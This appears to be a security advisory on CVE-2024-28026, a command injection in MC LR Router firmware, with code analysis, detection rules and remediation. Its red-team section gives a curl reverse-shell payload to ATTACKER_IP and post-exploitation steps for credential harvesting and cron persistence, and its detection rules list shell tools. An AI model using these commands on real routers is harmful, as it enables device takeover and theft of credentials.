CVE-2024-28026

Executive Summary

CVE-2024-28026 is an authenticated OS command injection vulnerability in the web interface I/O configuration functionality of MC Technologies MC LR Router firmware version 2.10.5. The flaw resides in the handling of the out1 parameter, where user-supplied input is directly concatenated into a command string executed via system(). An authenticated attacker can exploit this to execute arbitrary commands on the underlying operating system with root privileges, leading to full device compromise.

This vulnerability is part of a set of three similar command injection flaws (CVE-2024-28026, CVE-2024-28027, CVE-2024-28028) affecting the same firmware. The attack vector is network-based, requires authentication, but no user interaction. The CVSS score of 7.2 reflects the high impact on confidentiality, integrity, and availability, tempered by the requirement for authenticated access.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (MC LR Router). No supply chain package security implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): High – An attacker must have valid administrative credentials to the web interface.
• User Interaction (UI): None – No user action is required beyond the attacker’s own actions.
• Scope (S): Unchanged – The exploit does not affect other components beyond the vulnerable router.
• Confidentiality (C): High – Full read access to the device filesystem and network traffic.
• Integrity (I): High – Full write access to the device filesystem and configuration.
• Availability (A): High – Ability to crash the device or disrupt services.

Threat Level: High. While authentication is required, default credentials are often unchanged, and the impact is complete device takeover.

Deep Dive & Mechanics

The vulnerability is located in the web interface’s I/O configuration functionality. The code snippet from the NVD data reveals the root cause:

int out_ret = sscanf(current_param->key, "out%u", &io_idx);
if (out_ret == 1 && io_idx == 1)
{
    // [4] Similar to `3`, but `out1` instead of `btn1`
    if (asprintf(&command, "/usr/sbin/vout %s %u vo_manual", current_param->value, 1) > 0)
    {
        system(command);
        return -1;
    }
}

The parameter current_param->value is taken directly from the HTTP request (the out1 parameter) and inserted into the format string of asprintf() without any sanitization or validation. The resulting string is then passed to system(), which executes it as a shell command.

Attack Flow:

1. An attacker authenticates to the web interface (e.g., using default credentials admin:admin).
2. The attacker sends a crafted HTTP POST request to the I/O configuration endpoint with a malicious out1 parameter.
3. The parameter value is concatenated into the command: /usr/sbin/vout <value> 1 vo_manual.
4. If the value contains shell metacharacters (e.g., ;, |, $()), the attacker can inject arbitrary commands.
5. The injected command executes with root privileges.

Example Payload:

out1=;id>/tmp/pwned

This would execute: /usr/sbin/vout ;id>/tmp/pwned 1 vo_manual, which runs id and writes output to /tmp/pwned.

Vulnerable vs. Patched Code

Vulnerable Code (firmware 2.10.5):

if (asprintf(&command, "/usr/sbin/vout %s %u vo_manual", current_param->value, 1) > 0)
{
    system(command);
    return -1;
}

Patched Code (hypothetical, based on best practices):

// Validate that current_param->value contains only expected characters (e.g., alphanumeric and specific symbols)
if (!is_valid_io_value(current_param->value)) {
    // Log error and return
    return -1;
}
// Use execve() instead of system() to avoid shell interpretation
char *args[] = {"/usr/sbin/vout", current_param->value, "1", "vo_manual", NULL};
execve("/usr/sbin/vout", args, NULL);

The patched version would:

• Validate input against a whitelist of allowed characters.
• Use execve() instead of system() to prevent shell injection.
• Avoid constructing command strings with user input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to MC LR Router with firmware 2.10.5.
• Valid administrative credentials (e.g., admin:admin).
• Network connectivity to the router’s web interface (typically port 80 or 443).

Exploitation Steps:

1. Identify the vulnerable endpoint: The I/O configuration functionality is typically accessed via a POST request to /cgi-bin/io_config or similar. Use a web proxy or curl to interact.

2. Craft the exploit payload:

   # Reverse shell payload (base64 encoded)
   PAYLOAD=';bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
   curl -X POST http://ROUTER_IP/cgi-bin/io_config \
     -d "out1=$PAYLOAD" \
     -u admin:admin
   

3. Execute the exploit: The command will execute, and a reverse shell will connect back to the attacker’s listener.

4. Post-exploitation:

   • Dump configuration files: cat /etc/config/*
   • Extract credentials: grep -r "password" /etc/
   • Install persistence: echo "*/5 * * * * root /tmp/backdoor" >> /etc/crontab

Example Output:

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [ATTACKER_IP] from (UNKNOWN) [ROUTER_IP] 12345
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
root@router:/# id
uid=0(root) gid=0(root)

Blue Team (Defensive)

Detection & Response:

1. Monitor for anomalous HTTP requests:

   • Look for POST requests to /cgi-bin/io_config with unusual out1 parameter values containing shell metacharacters (;, |, $, `).
   • Alert on multiple failed authentication attempts followed by successful exploitation.

2. Network-level detection:

   • Use Suricata rules (see Detection Engineering) to detect command injection attempts.
   • Monitor outbound connections from the router to unexpected IPs (reverse shell indicators).

3. Host-level detection:

   • Check for unexpected processes: ps aux | grep -E "bash|nc|python"
   • Review system logs: logread | grep -i "vout\|system"
   • Look for new files in /tmp/ or /var/ created by injected commands.

4. Containment:

   • Immediately change all administrative passwords.
   • Isolate the router from the network.
   • Factory reset the device and apply firmware update if available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/io_config with out1 parameter containing shell metacharacters.
• Outbound connections from the router to external IPs on high ports (e.g., 4444, 1337).
• DNS queries to domains associated with C2 infrastructure.

Host IOCs:

• Unexpected processes: bash, nc, python, perl running as root.
• Files in /tmp/ with suspicious names (e.g., /tmp/pwned, /tmp/backdoor).
• Modified crontab entries in /etc/crontab or /var/spool/cron/.
• System log entries containing vout or system calls with unusual arguments.

File IOCs:

• /tmp/.backdoor – Persistence script.
• /etc/config/backup – Exfiltrated configuration.

Detection Engineering

YARA Rule

rule CVE_2024_28026_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2024-28026 in MC LR Router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28026"
    strings:
        $http_post = "POST /cgi-bin/io_config" ascii wide nocase
        $param_out1 = "out1=" ascii wide nocase
        $shell_meta = /[;&|`$(){}]|bash|sh|nc|python|perl/ ascii wide nocase
    condition:
        $http_post and $param_out1 and #shell_meta > 0
}

Sigma Rule

title: CVE-2024-28026 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to MC LR Router I/O configuration endpoint with suspicious out1 parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28026
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/io_config'
        cs-uri-query|contains: 'out1='
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
        - 'bash'
        - 'sh'
        - 'nc'
        - 'python'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in configuration values (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-28026 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/io_config"; http_uri;
    content:"out1="; http_client_body;
    pcre:"/(?:[;&|`$(){}]|bash|sh|nc|python|perl)/Pi";
    reference:cve,2024-28026;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Change default credentials: Immediately change the administrative password to a strong, unique password.
2. Restrict network access: Limit access to the web interface to trusted IPs only using firewall rules.
3. Disable remote management: If not required, disable remote web access to the router.
4. Monitor logs: Enable and review system logs for signs of exploitation.

Long-term Fixes:

1. Firmware update: Contact MC Technologies for a patched firmware version. If unavailable, consider replacing the device.
2. Input validation: Implement strict input validation for all parameters in the web interface.
3. Use safe functions: Replace system() with execve() or similar functions that do not invoke a shell.
4. Principle of least privilege: Run the web interface with minimal necessary privileges.

Workaround:

• If patching is not possible, implement a reverse proxy (e.g., Nginx) in front of the router to filter malicious requests using the Suricata rules above.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert